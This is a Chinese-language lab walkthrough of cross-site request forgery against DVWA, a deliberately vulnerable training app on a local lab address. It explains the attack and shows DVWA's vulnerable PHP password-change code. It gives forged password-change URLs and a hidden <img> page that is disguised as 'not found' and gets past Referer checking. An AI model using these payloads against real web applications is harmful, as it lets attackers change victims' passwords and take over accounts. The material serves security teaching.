【原理】
CSRF概述:
我们首先来了解一下什么是跨站请求伪造(CSRF)?跨站请求伪造是一种挟制终端用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。攻击者只要借助少许的社会工程诡计,例如通过电子邮件或者是聊天软件发送的链接,攻击者就能迫使一个Web应用程序的用户去执行攻击者选择的操作。例如,如果用户登录网络银行去查看其存款余额,他没有退出网络银行系统就去了自己喜欢的论坛去灌水,如果攻击者在论坛中精心构造了一个恶意的链接并诱使该用户点击了该链接,那么该用户在网络银行帐户中的资金就有可能被转移到攻击者指定的帐户中。 当CSRF针对普通用户发动攻击时,将对终端用户的数据和操作指令构成严重的威胁;当受攻击的终端用户具有管理员帐户的时候,CSRF攻击将危及整个Web应用程序。
造成CSRF的原因:
跨站请求伪造能否得逞,与以下几个方面密不可分,分别是浏览器对会话的处理,攻击者对Web应用有关URL的了解,应用程序赖以管理会话的信息对浏览器的透明性以及各种能够引发资源请求HTML标签等。下面分别加以解释。
首先,我们来了解一些Web浏览器对于Cookie和HTTP身份验证信息之类的会话信息的处理方式。目前,浏览器会自动地发送标识用户对话的信息,而无需用户干预,换句话说,当浏览器发送这些身份信息的时候,用户根本感觉不到。假设站点A上有一个Web应用程序,并且受害者正好已经在该站点上通过了身份认证,这时,站点会向受害者发送一个cookie作为响应,这个cookie的作用是什么呢?主要是被站点作为用户会话的标志,即如果站点收到了带有受害者的cookie的请求,那么它就会把这个请求看作是已登录的受害者发来的。一般情况下,浏览器收到站点设置的cookie之后,每当向该站点发送请求的时候,浏览器都会“自动地”连同该cookie一起发出。
然后,我们再来讨论一下攻击者对Web应用程序URL的了解。如果应用程序没有在URL中使用跟会话有关的信息的话,那么通过代码分析或者通过访问该应用程序并查看嵌入HTML/JavaScript中的URL以及表单来了解应用程序有关的URL、参数和容许值。
接下来,我们讨论一下应用程序赖以管理会话的信息对浏览器的透明性问题。我们知道,为了提高Web应用的便利性,用来管理会话的信息,例如Cookie或者基于HTTP的身份验证(例如HTTP基本认证、非基于表单的认证)等敏感信息,都是由浏览器来存放的,并在每当向需要身份验证的应用程序发送请求时自动捎带上这些信息。也就是说,浏览器可以访问会话管理信息,如果Web应用程序完全依赖于这类信息来识别一个用户会话,这就为跨站请求伪造创造了条件。
初级跨站请求伪造漏洞:利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
初级跨站请求伪造漏洞
进入DVWA,将难度设置为low
选择CSRF根据提示任意输入新密码,这里是123456,点击Change显示密码已经更改:
验证一下有没有修改,回到DVWA的登录页面,用修改后的密码登录。成功就表示密码修改成功
发现成功登录
构造利用请求连接,打开新的浏览器tab。再 请求http://172.18.0.13/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
这样密码就又改成password了,如果不放心可以用上面的方法进行验证,分析源代码(在CSRF模块最下面,点击View Source查看源码)
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"])
&& is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],
$pass_new ) : ((trigger_error("[MySQLConverterToo]
Fix the mysql_escape_string() call! This code does
not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new'
WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],
$insert ) or die( '<pre>' . ((is_object($GLOBALS["_
__mysqli_ston"])) ? mysqli_error($GLOBALS["___mysql
i_ston"]) : (($___mysqli_res = mysqli_connect_error
()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysql
i_ston"]))) ? false : $___mysqli_res);
}
?>
可见代码里面没做安全防护就直接通过get请求的方式更改了密码。
中级跨站请求伪造漏洞
进入DVAWA,难度选择Medium
选择CSRF根据提示任意输入新密码,这里是123123,显示密码已经更改
构造利用请求连接,打开新的浏览器tab。再请求http://172.18.0.13/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
请求不正确,推测是对referer头的验证。可查看分析源码(在CSRF模块最下面,点击View Source查看源码)。
打开命令行输入service apache2 start,cd /var/www/html/在自己的服务器写如下文件:
//文件名172.18.0.13.html
<img src="http://172.18.0.13/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" border="0" style="display:none;"/>
<h1>not found</h1>
当受害者请求该页面的时候,密码就被改了:
退出dvwa然后用admin/password登录。